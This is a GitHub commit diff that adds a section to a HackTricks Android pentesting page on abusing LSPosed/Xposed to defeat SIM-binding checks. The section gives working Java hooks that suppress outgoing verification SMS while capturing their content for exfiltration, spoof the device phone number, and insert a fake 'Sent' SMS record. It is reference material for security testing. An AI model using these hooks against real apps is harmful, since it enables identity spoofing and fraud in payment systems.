Skip to content

Commit 39e0d0d

Browse files
author
HackTricks News Bot
committed
Add content from: Weaponizing LSPosed: Remote SMS Injection and Identity Spoof...
1 parent c246b86 commit 39e0d0d

1 file changed

Lines changed: 64 additions & 1 deletion

File tree

src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md

Lines changed: 64 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -334,6 +334,69 @@ apk-mitm app.apk
334334
install-burp-certificate.md
335335
{{#endref}}
336336

337+
338+
## LSPosed/Xposed Hooking Abuse (Telephony/SMS)
339+
340+
On rooted devices, LSPosed/Xposed modules can hook Java telephony/SMS APIs at runtime, keeping the APK unmodified on disk while fully controlling what the app sees. This is commonly abused to bypass SIM‑binding flows that trust local telephony APIs or local SMS provider state.
341+
342+
Key primitives
343+
- **Suppress outgoing verification SMS** while exfiltrating the token by short‑circuiting `SmsManager.sendTextMessage` in `beforeHookedMethod`.
344+
- **Spoof MSISDN/line number** by forcing `TelephonyManager.getLine1Number()` and `SubscriptionInfo.getNumber()` to return an attacker‑controlled value.
345+
- **Plant a fake “Sent” record** in the SMS provider so apps that check local SMS history see a successful send even if the carrier never received it.
346+
347+
Example: block SMS dispatch and capture content
348+
```java
349+
XposedHelpers.findAndHookMethod(
350+
"android.telephony.SmsManager",
351+
lpparam.classLoader,
352+
"sendTextMessage",
353+
String.class, String.class, String.class, PendingIntent.class, PendingIntent.class,
354+
new XC_MethodHook() {
355+
protected void beforeHookedMethod(MethodHookParam param) {
356+
String body = (String) param.args[2];
357+
// exfiltrate body to operator channel
358+
param.setResult(null); // suppress real SMS send
359+
}
360+
}
361+
);
362+
```
363+
364+
Example: spoof device phone number
365+
```java
366+
XposedHelpers.findAndHookMethod(
367+
"android.telephony.TelephonyManager",
368+
lpparam.classLoader,
369+
"getLine1Number",
370+
new XC_MethodHook() {
371+
protected void afterHookedMethod(MethodHookParam param) {
372+
param.setResult(spoofedMsisdn);
373+
}
374+
}
375+
);
376+
```
377+
```java
378+
XposedHelpers.findAndHookMethod(
379+
"android.telephony.SubscriptionInfo",
380+
lpparam.classLoader,
381+
"getNumber",
382+
new XC_MethodHook() {
383+
protected void afterHookedMethod(MethodHookParam param) {
384+
param.setResult(spoofedMsisdn);
385+
}
386+
}
387+
);
388+
```
389+
390+
Example: inject a fake “Sent” SMS record
391+
```java
392+
ContentValues v = new ContentValues();
393+
v.put("address", dest);
394+
v.put("body", body);
395+
v.put("type", 2); // sent
396+
v.put("status", 0); // success
397+
context.getContentResolver().insert(Uri.parse("content://sms/sent"), v);
398+
```
399+
337400
## Handy command cheat‑sheet
338401

339402
```bash
@@ -396,5 +459,5 @@ Notes
396459
- [phantom-frida (stealth Frida server builder)](https://github.com/TheQmaks/phantom-frida)
397460
- [Frida OkHttp4 SSL pinning bypass script](https://github.com/Zero3141/Frida-OkHttp-Bypass)
398461
- [XDA guide to strong Play Integrity bypass (2025)](https://xdaforums.com/t/updated-11-17-2025-guide-get-strong-integrity-fix-banking-apps-revolut-google-wallet-android-16-working.4753805/)
399-
462+
- [Weaponizing LSPosed: Remote SMS Injection and Identity Spoofing in Modern Payment Ecosystems](https://www.cloudsek.com/blog/weaponizing-lsposed-remote-sms-injection-and-identity-spoofing-in-modern-payment-ecosystems-2)
400463
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)